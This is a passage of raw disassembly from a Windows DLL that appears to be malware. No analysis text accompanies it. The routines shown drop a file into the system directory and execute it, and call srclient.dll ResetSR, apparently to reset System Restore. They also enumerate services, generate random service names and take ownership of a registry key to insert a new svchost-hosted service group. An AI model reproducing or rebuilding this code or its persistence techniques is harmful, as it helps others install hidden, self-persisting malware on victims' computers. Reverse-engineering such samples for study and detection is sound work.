		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+3Ch]
		cmp	eax, 1000h
		jg	short loc_9A71A3
		add	eax, ecx
		mov	[ebp+var_20], eax
		mov	eax, [eax+50h]
		mov	[ebp+var_1C], eax


loc_9A71A3:				; CODE XREF: sub_9A7177+1Fj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	nullsub_5
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
sub_9A7177	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A71B6	proc near		; CODE XREF: DllMain(x,x,x)+33p
					; DATA XREF: sub_9A71B6+13o

Buffer		= _MEMORY_BASIC_INFORMATION ptr	-20h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		mov	ebx, VirtualQuery
		push	1Ch		; dwLength
		lea	eax, [ebp+Buffer]
		push	eax		; lpBuffer
		push	offset sub_9A71B6 ; lpAddress
		call	ebx ; VirtualQuery
		test	eax, eax
		jz	short loc_9A7211
		push	esi
		mov	esi, [ebp+Buffer.AllocationBase]
		push	edi
		xor	edi, edi


loc_9A71DB:				; CODE XREF: sub_9A71B6+43j
		push	1Ch		; dwLength
		lea	eax, [ebp+Buffer]
		push	eax		; lpBuffer
		lea	eax, [edi+esi]
		push	eax		; lpAddress
		mov	[ebp+var_4], edi
		call	ebx ; VirtualQuery
		test	eax, eax
		jz	short loc_9A71FB
		cmp	[ebp+Buffer.AllocationBase], esi
		jnz	short loc_9A71FF
		add	edi, 1000h
		jmp	short loc_9A71DB
; ---------------------------------------------------------------------------


loc_9A71FB:				; CODE XREF: sub_9A71B6+36j
		xor	eax, eax
		jmp	short loc_9A720F
; ---------------------------------------------------------------------------


loc_9A71FF:				; CODE XREF: sub_9A71B6+3Bj
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		mov	[eax], esi
		mov	eax, [ebp+arg_4]
		mov	[eax], ecx
		xor	eax, eax
		inc	eax


loc_9A720F:				; CODE XREF: sub_9A71B6+47j
		pop	edi
		pop	esi


loc_9A7211:				; CODE XREF: sub_9A71B6+1Cj
		pop	ebx
		leave
		retn
sub_9A71B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=198h

; int __cdecl sub_9A7214(int,DWORD nNumberOfBytesToWrite)

sub_9A7214	proc near		; CODE XREF: sub_9A8133+38p

lpBuffer	= dword	ptr -218h
NumberOfBytesWritten= dword ptr	-214h
var_210		= dword	ptr -210h
FileName	= byte ptr -20Ch
PathName	= byte ptr -108h
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
nNumberOfBytesToWrite= dword ptr  0Ch

		push	ebp
		lea	ebp, [esp-198h]
		sub	esp, 218h
		mov	eax, dword_9B8788
		and	[ebp+198h+var_210], 0
		push	ebx
		xor	eax, ebp
		push	esi
		mov	[ebp+198h+var_4], eax
		mov	eax, [ebp+198h+arg_0]
		push	edi
		mov	[ebp+198h+lpBuffer], eax
		mov	ebx, 104h
		push	ebx		; uSize
		lea	eax, [ebp+198h+PathName]
		push	eax		; lpBuffer
		call	GetSystemDirectoryA
		mov	esi, GetTempFileNameA
		lea	eax, [ebp+198h+FileName]
		push	eax		; lpTempFileName
		push	0		; uUnique
		mov	edi, offset PrefixString ; "0"
		push	edi		; lpPrefixString
		lea	eax, [ebp+198h+PathName]
		push	eax		; lpPathName
		mov	[ebp+198h+var_5], 0
		call	esi ; GetTempFileNameA
		test	eax, eax
		jnz	short loc_9A72A0
		lea	eax, [ebp+198h+PathName]
		push	eax		; lpBuffer
		push	ebx		; nBufferLength
		call	GetTempPathA
		lea	eax, [ebp+198h+FileName]
		push	eax		; lpTempFileName
		xor	ebx, ebx
		push	ebx		; uUnique
		push	edi		; lpPrefixString
		lea	eax, [ebp+198h+PathName]
		push	eax		; lpPathName
		mov	[ebp+198h+var_5], 0
		call	esi ; GetTempFileNameA
		jmp	short loc_9A72A2
; ---------------------------------------------------------------------------


loc_9A72A0:				; CODE XREF: sub_9A7214+62j
		xor	ebx, ebx


loc_9A72A2:				; CODE XREF: sub_9A7214+8Aj
		push	ebx		; hTemplateFile
		push	ebx		; dwFlagsAndAttributes
		push	2		; dwCreationDisposition
		push	ebx		; lpSecurityAttributes
		push	2		; dwShareMode
		push	40000000h	; dwDesiredAccess
		lea	eax, [ebp+198h+FileName]
		push	eax		; lpFileName
		call	CreateFileA
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_9A7304
		mov	esi, [ebp+198h+nNumberOfBytesToWrite]
		push	ebx		; lpOverlapped
		lea	eax, [ebp+198h+NumberOfBytesWritten]
		push	eax		; lpNumberOfBytesWritten
		push	esi		; nNumberOfBytesToWrite
		push	[ebp+198h+lpBuffer] ; lpBuffer
		mov	[ebp+198h+NumberOfBytesWritten], ebx
		push	edi		; hFile
		call	WriteFile
		push	edi		; hObject
		call	CloseHandle
		cmp	[ebp+198h+NumberOfBytesWritten], esi
		lea	eax, [ebp+198h+FileName]
		jnz	short loc_9A72FD
		push	ebx		; int
		push	eax		; lpCommandLine
		call	sub_9A6A21
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_9A7304
		mov	[ebp+198h+var_210], 1
		jmp	short loc_9A7304
; ---------------------------------------------------------------------------


loc_9A72FD:				; CODE XREF: sub_9A7214+D1j
		push	eax		; lpFileName
		call	DeleteFileA


loc_9A7304:				; CODE XREF: sub_9A7214+A9j
					; sub_9A7214+DEj ...
		mov	ecx, [ebp+198h+var_4]
		mov	eax, [ebp+198h+var_210]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_9AAAC1
		add	ebp, 198h
		leave
		retn
sub_9A7214	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A731F	proc near		; CODE XREF: sub_9A7E0F:loc_9A80F8p

var_20		= dword	ptr -20h
hLibModule	= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	10h
		push	offset stru_9A2F60
		call	__SEH_prolog
		push	offset LibFileName ; "srclient.dll"
		call	LoadLibraryA
		mov	[ebp+hLibModule], eax
		and	[ebp+ms_exc.disabled], 0
		test	eax, eax
		jz	short loc_9A7361
		push	offset aResetsr	; "ResetSR"
		push	eax		; hModule
		call	GetProcAddress
		mov	[ebp+var_20], eax
		test	eax, eax
		jz	short loc_9A7361
		push	0
		call	eax
		jmp	short loc_9A7361
; ---------------------------------------------------------------------------


loc_9A735A:				; DATA XREF: .text:stru_9A2F60o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9A735E:				; DATA XREF: .text:stru_9A2F60o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9A7361:				; CODE XREF: sub_9A731F+20j
					; sub_9A731F+33j ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		push	[ebp+hLibModule] ; hLibModule
		call	FreeLibrary
		call	__SEH_epilog
		retn
sub_9A731F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A7374	proc near		; CODE XREF: sub_9A7E0F+68p

var_2054	= dword	ptr -2054h
var_2050	= dword	ptr -2050h
var_204C	= dword	ptr -204Ch
var_2048	= dword	ptr -2048h
ResumeHandle	= dword	ptr -2044h
var_2040	= dword	ptr -2040h
var_203C	= dword	ptr -203Ch
pcbBytesNeeded	= dword	ptr -2038h
dwBytes		= dword	ptr -2034h
var_2030	= dword	ptr -2030h
hSCObject	= dword	ptr -202Ch
ServicesReturned= dword	ptr -2028h
var_2024	= dword	ptr -2024h
hMem		= dword	ptr -2020h
Buffer		= _QUERY_SERVICE_CONFIGW ptr -201Ch
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_9A2F70
		push	offset unknown_libname_1 ; Microsoft VisualC 2-8/net runtime
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		mov	eax, 203Ch
		call	__alloca_probe
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		mov	[ebp+var_2040],	ebx
		mov	[ebp+var_4], ebx
		push	20005h		; dwDesiredAccess
		push	ebx		; lpDatabaseName
		push	ebx		; lpMachineName
		call	OpenSCManagerW
		mov	[ebp+hSCObject], eax
		cmp	eax, ebx
		jz	loc_9A75FF
		mov	[ebp+dwBytes], ebx
		mov	[ebp+ServicesReturned],	ebx
		mov	[ebp+ResumeHandle], ebx
		mov	[ebp+hMem], ebx
		mov	esi, GlobalAlloc


loc_9A73F1:				; CODE XREF: sub_9A7374+F3j
		lea	eax, [ebp+ResumeHandle]
		push	eax		; lpResumeHandle
		lea	eax, [ebp+ServicesReturned]
		push	eax		; lpServicesReturned
		lea	eax, [ebp+dwBytes]
		push	eax		; pcbBytesNeeded
		push	[ebp+dwBytes]	; cbBufSize
		push	[ebp+hMem]	; lpServices
		push	3		; dwServiceState
		push	30h		; dwServiceType
		push	[ebp+hSCObject]	; hSCManager
		call	EnumServicesStatusW
		mov	[ebp+var_204C],	eax
		cmp	eax, ebx
		jnz	short loc_9A7469
		call	GetLastError
		cmp	eax, 0EAh
		jnz	short loc_9A7469
		cmp	[ebp+hMem], ebx
		jz	short loc_9A744D
		push	[ebp+hMem]	; hMem
		call	GlobalFree


loc_9A744D:				; CODE XREF: sub_9A7374+CBj
		push	[ebp+dwBytes]	; dwBytes
		push	40h		; uFlags
		call	esi ; GlobalAlloc
		mov	[ebp+hMem], eax
		cmp	eax, ebx
		jz	short loc_9A7469
		mov	[ebp+ResumeHandle], ebx
		jmp	short loc_9A73F1
; ---------------------------------------------------------------------------


loc_9A7469:				; CODE XREF: sub_9A7374+B6j
					; sub_9A7374+C3j ...
		cmp	[ebp+var_204C],	ebx
		jz	loc_9A75DF
		cmp	[ebp+hMem], ebx
		jz	loc_9A75F3
		mov	eax, [ebp+ServicesReturned]
		shl	eax, 2
		push	eax		; dwBytes
		push	40h		; uFlags
		call	esi ; GlobalAlloc
		mov	edi, eax
		mov	[ebp+var_2048],	edi
		cmp	edi, ebx
		jz	loc_9A75DF
		mov	[ebp+var_2024],	ebx
		or	[ebp+var_203C],	0FFFFFFFFh
		xor	esi, esi
		mov	[ebp+var_2030],	esi
		mov	ebx, 2000h


loc_9A74B9:				; CODE XREF: sub_9A7374+213j
		cmp	esi, [ebp+ServicesReturned]
		jnb	loc_9A758C
		push	20005h		; dwDesiredAccess
		lea	eax, [esi+esi*8]
		mov	ecx, [ebp+hMem]
		push	dword ptr [ecx+eax*4] ;	lpServiceName
		push	[ebp+hSCObject]	; hSCManager
		call	OpenServiceW
		mov	edi, eax
		mov	[ebp+var_2054],	edi
		test	edi, edi
		jz	loc_9A757A
		lea	eax, [ebp+pcbBytesNeeded]
		push	eax		; pcbBytesNeeded
		push	ebx		; cbBufSize
		lea	eax, [ebp+Buffer]
		push	eax		; lpServiceConfig
		push	edi		; hService
		call	QueryServiceConfigW
		test	eax, eax
		jz	short loc_9A7573
		cmp	[ebp+Buffer.dwStartType], 2
		jnz	short loc_9A7573
		lea	eax, [ebp+pcbBytesNeeded]
		push	eax		; pcbBytesNeeded
		push	ebx		; cbBufSize
		lea	eax, [ebp+Buffer]
		push	eax		; lpBuffer
		push	1		; dwInfoLevel
		push	edi		; hService
		call	QueryServiceConfig2W
		test	eax, eax
		jz	short loc_9A7573
		cmp	[ebp+pcbBytesNeeded], 0
		jz	short loc_9A7573
		lea	eax, [ebp+Buffer]
		mov	[ebp+var_2050],	eax
		mov	eax, [ebp+Buffer.dwServiceType]
		test	eax, eax
		jz	short loc_9A7573
		cmp	word ptr [eax],	0
		jz	short loc_9A7573
		push	eax		; Str
		call	_wcsdup
		pop	ecx
		mov	ecx, [ebp+var_2048]
		mov	edx, [ebp+var_2024]
		mov	[ecx+edx*4], eax
		inc	[ebp+var_2024]


loc_9A7573:				; CODE XREF: sub_9A7374+196j
					; sub_9A7374+19Fj ...
		push	edi		; hSCObject
		call	CloseServiceHandle


loc_9A757A:				; CODE XREF: sub_9A7374+178j
		inc	esi
		mov	[ebp+var_2030],	esi
		mov	edi, [ebp+var_2048]
		jmp	loc_9A74B9
; ---------------------------------------------------------------------------


loc_9A758C:				; CODE XREF: sub_9A7374+14Bj
		xor	esi, esi
		cmp	[ebp+var_2024],	esi
		jz	short loc_9A75B3
		call	rand
		xor	edx, edx
		div	[ebp+var_2024]
		mov	[ebp+var_203C],	edx
		mov	eax, [edi+edx*4]
		mov	[ebp+var_2040],	eax


loc_9A75B3:				; CODE XREF: sub_9A7374+220j
					; sub_9A7374+260j
		mov	[ebp+var_2030],	esi
		cmp	esi, [ebp+var_2024]
		jnb	short loc_9A75D6
		cmp	[ebp+var_203C],	esi
		jz	short loc_9A75D3
		push	dword ptr [edi+esi*4] ;	Memory
		call	free
		pop	ecx


loc_9A75D3:				; CODE XREF: sub_9A7374+253j
		inc	esi
		jmp	short loc_9A75B3
; ---------------------------------------------------------------------------


loc_9A75D6:				; CODE XREF: sub_9A7374+24Bj
		push	edi		; hMem
		call	GlobalFree
		xor	ebx, ebx


loc_9A75DF:				; CODE XREF: sub_9A7374+FBj
					; sub_9A7374+125j
		cmp	[ebp+hMem], ebx
		jz	short loc_9A75F3
		push	[ebp+hMem]	; hMem
		call	GlobalFree


loc_9A75F3:				; CODE XREF: sub_9A7374+107j
					; sub_9A7374+271j
		push	[ebp+hSCObject]	; hSCObject
		call	CloseServiceHandle


loc_9A75FF:				; CODE XREF: sub_9A7374+59j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_9A7612
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		xor	ebx, ebx


loc_9A7612:				; CODE XREF: sub_9A7374+28Fj
		mov	eax, [ebp+var_2040]
		cmp	eax, ebx
		jnz	short loc_9A7628
		push	offset Str	; Str
		call	_wcsdup
		pop	ecx


loc_9A7628:				; CODE XREF: sub_9A7374+2A6j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_1C]
		xor	ecx, ebp
		call	sub_9AAAC1
		leave
		retn
sub_9A7374	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A7641	proc near		; CODE XREF: sub_9A7B42+97p

var_E8		= dword	ptr -0E8h
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_DC		= dword	ptr -0DCh
var_D8		= dword	ptr -0D8h
var_D4		= dword	ptr -0D4h
Type		= dword	ptr -0D0h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
psidOwner	= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
Data		= byte ptr -0B5h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
lpValueName	= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
hKey		= dword	ptr -9Ch
cbData		= dword	ptr -98h
var_94		= dword	ptr -94h
Str		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
SubKey		= word ptr -88h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	0D8h
		push	offset stru_9A2FF0
		call	__SEH_prolog
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+Str], eax
		mov	ebx, ecx
		mov	[ebp+lpValueName], ebx
		xor	eax, eax
		mov	[ebp+var_B0], eax
		push	1Ah
		pop	ecx
		mov	esi, offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
		lea	edi, [ebp+SubKey]
		rep movsd
		movsw
		mov	[ebp+var_B4], eax
		mov	[ebp+psidOwner], eax
		lea	ecx, [ebp+hKey]
		push	ecx		; phkResult
		push	3		; samDesired
		push	eax		; ulOptions
		lea	eax, [ebp+SubKey]
		push	eax		; lpSubKey
		push	80000002h	; hKey
		mov	esi, RegOpenKeyExW
		call	esi ; RegOpenKeyExW
		mov	edi, eax
		cmp	edi, 5
		jnz	short loc_9A770A
		lea	eax, [ebp+var_B4]
		push	eax		; int
		lea	eax, [ebp+psidOwner]
		push	eax		; ppsidOwner
		lea	eax, [ebp+SubKey]
		push	eax		; int
		push	80000002h	; int
		call	sub_9A706C
		push	0
		lea	eax, [ebp+SubKey]
		push	eax
		push	80000002h
		call	sub_9A7001
		add	esp, 1Ch
		test	eax, eax
		jz	short loc_9A770A
		lea	eax, [ebp+hKey]
		push	eax		; phkResult
		push	3		; samDesired
		push	0		; ulOptions
		lea	eax, [ebp+SubKey]
		push	eax		; lpSubKey
		push	80000002h	; hKey
		call	esi ; RegOpenKeyExW
		mov	edi, eax


loc_9A770A:				; CODE XREF: sub_9A7641+73j
					; sub_9A7641+ACj
		test	edi, edi
		jnz	loc_9A7B03
		and	[ebp+ms_exc.disabled], edi
		mov	[ebp+cbData], 1
		mov	[ebp+Type], 7
		lea	eax, [ebp+cbData]
		push	eax		; lpcbData
		lea	eax, [ebp+Data]
		push	eax		; lpData
		lea	eax, [ebp+Type]
		push	eax		; lpType
		push	edi		; lpReserved
		push	ebx		; lpValueName
		push	[ebp+hKey]	; hKey
		mov	edi, RegQueryValueExW
		call	edi ; RegQueryValueExW
		mov	[ebp+var_E0], eax
		cmp	eax, 0EAh
		jnz	loc_9A7AEA
		push	[ebp+Str]	; Str
		mov	esi, wcslen
		call	esi ; wcslen
		pop	ecx
		mov	ecx, [ebp+cbData]
		lea	eax, [ecx+eax*2+2]
		mov	[ebp+var_DC], eax
		push	eax		; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		mov	ebx, eax
		mov	[ebp+var_D4], ebx
		test	ebx, ebx
		jz	loc_9A7AEA
		mov	[ebp+var_D8], 7
		lea	eax, [ebp+cbData]
		push	eax		; lpcbData
		push	ebx		; lpData
		lea	eax, [ebp+var_D8]
		push	eax		; lpType
		push	0		; lpReserved
		push	[ebp+lpValueName] ; lpValueName
		push	[ebp+hKey]	; hKey
		call	edi ; RegQueryValueExW
		test	eax, eax
		jnz	loc_9A7AE3
		mov	[ebp+var_BC], ebx
		push	[ebp+Str]	; Str
		call	esi ; wcslen
		pop	ecx
		test	eax, eax
		jz	short loc_9A784B
		mov	eax, [ebp+cbData]
		test	eax, eax
		jz	short loc_9A77EA
		lea	edi, [eax-2]
		jmp	short loc_9A77EC
; ---------------------------------------------------------------------------


loc_9A77EA:				; CODE XREF: sub_9A7641+1A2j
		xor	edi, edi


loc_9A77EC:				; CODE XREF: sub_9A7641+1A7j
		mov	[ebp+var_E8], edi
		shr	edi, 1
		push	[ebp+Str]	; Source
		lea	eax, [ebx+edi*2]
		push	eax		; Dest
		call	wcscpy
		push	[ebp+Str]	; Str
		call	esi ; wcslen
		add	esp, 0Ch
		add	eax, edi
		and	word ptr [ebx+eax*2+2],	0
		push	[ebp+var_DC]	; cbData
		push	ebx		; lpData
		push	7		; dwType
		push	0		; Reserved
		push	[ebp+lpValueName] ; lpValueName
		push	[ebp+hKey]	; hKey
		call	RegSetValueExW
		test	eax, eax
		jnz	loc_9A7AE3
		mov	[ebp+var_B0], 1
		jmp	loc_9A7AE3
; ---------------------------------------------------------------------------


loc_9A784B:				; CODE XREF: sub_9A7641+198j
		xor	edi, edi
		mov	[ebp+var_8C], edi
		and	[ebp+var_94], edi


loc_9A7859:				; CODE XREF: sub_9A7641+243j
		cmp	edi, [ebp+cbData]
		jnb	short loc_9A7886
		mov	eax, [ebp+var_BC]
		lea	eax, [eax+edi*2]
		cmp	word ptr [eax],	0
		jz	short loc_9A7886
		inc	[ebp+var_94]
		push	eax		; Str
		call	esi ; wcslen
		pop	ecx
		lea	edi, [edi+eax+1]
		mov	[ebp+var_8C], edi
		jmp	short loc_9A7859
; ---------------------------------------------------------------------------


loc_9A7886:				; CODE XREF: sub_9A7641+21Ej
					; sub_9A7641+22Dj
		mov	eax, [ebp+var_94]
		lea	eax, ds:4[eax*4]
		push	eax		; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		mov	edi, eax
		mov	[ebp+var_C8], edi
		test	edi, edi
		jz	loc_9A7AE3
		xor	ebx, ebx
		mov	[ebp+var_8C], ebx
		and	[ebp+var_A0], ebx


loc_9A78BA:				; CODE XREF: sub_9A7641+2ADj
		cmp	ebx, [ebp+cbData]
		jnb	short loc_9A78F0
		mov	eax, [ebp+var_BC]
		lea	eax, [eax+ebx*2]
		cmp	word ptr [eax],	0
		jz	short loc_9A78F0
		mov	ecx, [ebp+var_A0]
		mov	[edi+ecx*4], eax
		push	eax		; Str
		call	esi ; wcslen
		pop	ecx
		lea	ebx, [ebx+eax+1]
		mov	[ebp+var_8C], ebx
		inc	[ebp+var_A0]
		jmp	short loc_9A78BA
; ---------------------------------------------------------------------------


loc_9A78F0:				; CODE XREF: sub_9A7641+27Fj
					; sub_9A7641+28Ej
		mov	ebx, rand


loc_9A78F6:				; CODE XREF: sub_9A7641+32Dj
		and	[ebp+var_C4], 0
		call	ebx ; rand
		xor	edx, edx
		push	18h
		pop	ecx
		div	ecx
		push	off_9B8208[edx*4] ; Source
		push	[ebp+Str]	; Dest
		call	wcscpy
		call	ebx ; rand
		xor	edx, edx
		push	11h
		pop	ecx
		div	ecx
		push	off_9B8268[edx*4] ; Source
		push	[ebp+Str]	; Dest
		call	wcscat
		add	esp, 10h
		xor	eax, eax
		mov	[ebp+var_8C], eax


loc_9A7940:				; CODE XREF: sub_9A7641+37Aj
		cmp	eax, [ebp+var_94]
		jnb	short loc_9A7967
		push	[ebp+Str]	; Str2
		push	dword ptr [edi+eax*4] ;	Str1
		call	_wcsicmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_9A79AF
		mov	[ebp+var_C4], 1


loc_9A7967:				; CODE XREF: sub_9A7641+305j
		cmp	[ebp+var_C4], 0
		jnz	short loc_9A78F6
		xor	eax, eax
		mov	[ebp+var_A8], eax
		mov	[ebp+var_A4], eax


loc_9A797E:				; CODE XREF: sub_9A7641+36Cj
		mov	[ebp+var_8C], eax
		cmp	eax, [ebp+var_94]
		jnb	short loc_9A79C8
		mov	edx, [ebp+Str]
		mov	ecx, [edi+eax*4]
		mov	cx, [ecx]
		cmp	[ebp+var_A8], 0
		jnz	short loc_9A79BD
		cmp	cx, [edx]
		jnz	short loc_9A79AC
		mov	[ebp+var_A8], eax


loc_9A79AC:				; CODE XREF: sub_9A7641+363j
					; sub_9A7641+37Fj
		inc	eax
		jmp	short loc_9A797E
; ---------------------------------------------------------------------------


loc_9A79AF:				; CODE XREF: sub_9A7641+31Aj
		inc	[ebp+var_8C]
		mov	eax, [ebp+var_8C]
		jmp	short loc_9A7940
; ---------------------------------------------------------------------------


loc_9A79BD:				; CODE XREF: sub_9A7641+35Ej
		cmp	cx, [edx]
		jz	short loc_9A79AC
		mov	[ebp+var_A4], eax


loc_9A79C8:				; CODE XREF: sub_9A7641+349j
		cmp	[ebp+var_A4], 0
		jnz	short loc_9A79DD
		mov	eax, [ebp+var_94]
		mov	[ebp+var_A4], eax


loc_9A79DD:				; CODE XREF: sub_9A7641+38Ej
		call	ebx ; rand
		mov	ecx, [ebp+var_A4]
		sub	ecx, [ebp+var_A8]
		xor	edx, edx
		div	ecx
		add	edx, [ebp+var_A8]
		mov	[ebp+var_A0], edx
		mov	eax, [ebp+var_94]


loc_9A7A01:				; CODE XREF: sub_9A7641+3D2j
		mov	[ebp+var_8C], eax
		cmp	eax, edx
		jbe	short loc_9A7A15
		mov	ecx, [edi+eax*4-4]
		mov	[edi+eax*4], ecx
		dec	eax
		jmp	short loc_9A7A01
; ---------------------------------------------------------------------------


loc_9A7A15:				; CODE XREF: sub_9A7641+3C8j
		mov	eax, [ebp+Str]
		mov	[edi+edx*4], eax
		push	eax		; Str
		call	esi ; wcslen
		pop	ecx
		mov	ecx, [ebp+cbData]
		lea	eax, [ecx+eax*2+2]
		mov	[ebp+var_CC], eax
		push	eax		; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		mov	ebx, eax
		mov	[ebp+var_E4], ebx
		test	ebx, ebx
		jz	loc_9A7AD6
		and	[ebp+var_8C], 0
		xor	edi, edi
		mov	[ebp+var_A0], edi


loc_9A7A5A:				; CODE XREF: sub_9A7641+456j
		mov	eax, [ebp+var_94]
		inc	eax
		mov	ecx, [ebp+var_8C]
		cmp	ecx, eax
		jnb	short loc_9A7A99
		lea	eax, [ebx+edi*2]
		mov	edx, [ebp+var_C8]
		push	dword ptr [edx+ecx*4] ;	Source
		push	eax		; Dest
		call	wcscpy
		lea	eax, [ebx+edi*2]
		push	eax		; Str
		call	esi ; wcslen
		add	esp, 0Ch
		lea	edi, [edi+eax+1]
		mov	[ebp+var_A0], edi
		inc	[ebp+var_8C]
		jmp	short loc_9A7A5A
; ---------------------------------------------------------------------------


loc_9A7A99:				; CODE XREF: sub_9A7641+428j
		and	word ptr [ebx+edi*2], 0
		push	[ebp+var_CC]	; cbData
		push	ebx		; lpData
		push	7		; dwType
		push	0		; Reserved
		push	[ebp+lpValueName] ; lpValueName
		push	[ebp+hKey]	; hKey
		call	RegSetValueExW
		test	eax, eax
		jnz	short loc_9A7AC9
		mov	[ebp+var_B0], 1


loc_9A7AC9:				; CODE XREF: sub_9A7641+47Cj
		push	ebx		; hMem
		call	GlobalFree
		mov	edi, [ebp+var_C8]


loc_9A7AD6:				; CODE XREF: sub_9A7641+404j
		push	edi		; hMem
		call	GlobalFree
		mov	ebx, [ebp+var_D4]


loc_9A7AE3:				; CODE XREF: sub_9A7641+181j
					; sub_9A7641+1F5j ...
		push	ebx		; hMem
		call	GlobalFree


loc_9A7AEA:				; CODE XREF: sub_9A7641+118j
					; sub_9A7641+150j
		push	[ebp+hKey]	; hKey
		call	RegCloseKey
		jmp	short loc_9A7AFF
; ---------------------------------------------------------------------------


loc_9A7AF8:				; DATA XREF: .text:stru_9A2FF0o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9A7AFC:				; DATA XREF: .text:stru_9A2FF0o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9A7AFF:				; CODE XREF: sub_9A7641+4B5j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh


loc_9A7B03:				; CODE XREF: sub_9A7641+CBj
		cmp	[ebp+var_B4], 0
		jz	short loc_9A7B2C
		push	[ebp+var_B4]	; int
		push	[ebp+psidOwner]	; psidOwner
		lea	eax, [ebp+SubKey]
		push	eax		; int
		push	80000002h	; int
		call	sub_9A70DD
		add	esp, 10h


loc_9A7B2C:				; CODE XREF: sub_9A7641+4C9j
		mov	eax, [ebp+var_B0]
		mov	ecx, [ebp+var_1C]
		xor	ecx, ebp
		call	sub_9AAAC1
		call	__SEH_epilog
		retn
sub_9A7641	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=104h

; int __cdecl sub_9A7B42(int,int,int,wchar_t *Str)

sub_9A7B42	proc near		; CODE XREF: sub_9A7E0F+171p

phkResult	= dword	ptr -184h
var_180		= dword	ptr -180h
lpData		= dword	ptr -17Ch
psidOwner	= dword	ptr -178h
var_174		= dword	ptr -174h
var_170		= dword	ptr -170h
hMem		= dword	ptr -16Ch
var_168		= dword	ptr -168h
Data		= byte ptr -164h
hKey		= dword	ptr -160h
Source		= word ptr -15Ch
SubKey		= word ptr -110h
var_48		= dword	ptr -48h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
Str		= dword	ptr  14h

		push	ebp
		lea	ebp, [esp-104h]
		sub	esp, 184h
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+104h+var_4], eax
		mov	eax, [ebp+104h+arg_0]
		push	ebx
		push	esi
		mov	[ebp+104h+var_170], eax
		mov	eax, [ebp+104h+arg_4]
		push	edi
		mov	dword ptr [ebp+104h+Data], eax
		mov	eax, [ebp+104h+arg_8]
		mov	[ebp+104h+var_174], ecx
		push	13h
		mov	[ebp+104h+lpData], eax
		mov	eax, [ebp+104h+Str]
		pop	ecx
		xor	ebx, ebx
		mov	esi, offset aSystemrootSyst ; "%SystemRoot%\\system32\\svchost.exe -k "
		lea	edi, [ebp+104h+Source]
		push	eax		; Str
		mov	[ebp+104h+var_168], eax
		mov	[ebp+104h+var_180], ebx
		rep movsd
		call	wcslen
		pop	ecx
		lea	eax, [eax+eax+4Ch]
		push	eax		; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		mov	esi, eax
		cmp	esi, ebx
		mov	[ebp+104h+hMem], esi
		jnz	short loc_9A7BBE
		xor	eax, eax
		jmp	loc_9A7DF7
; ---------------------------------------------------------------------------


loc_9A7BBE:				; CODE XREF: sub_9A7B42+73j
		lea	eax, [ebp+104h+Source]
		push	eax		; Source
		push	esi		; Dest
		call	wcscpy
		push	[ebp+104h+var_168] ; Source
		push	esi		; Dest
		call	wcscat
		push	dword ptr [ebp+104h+Data]
		mov	ecx, [ebp+104h+var_168]
		call	sub_9A7641
		add	esp, 14h
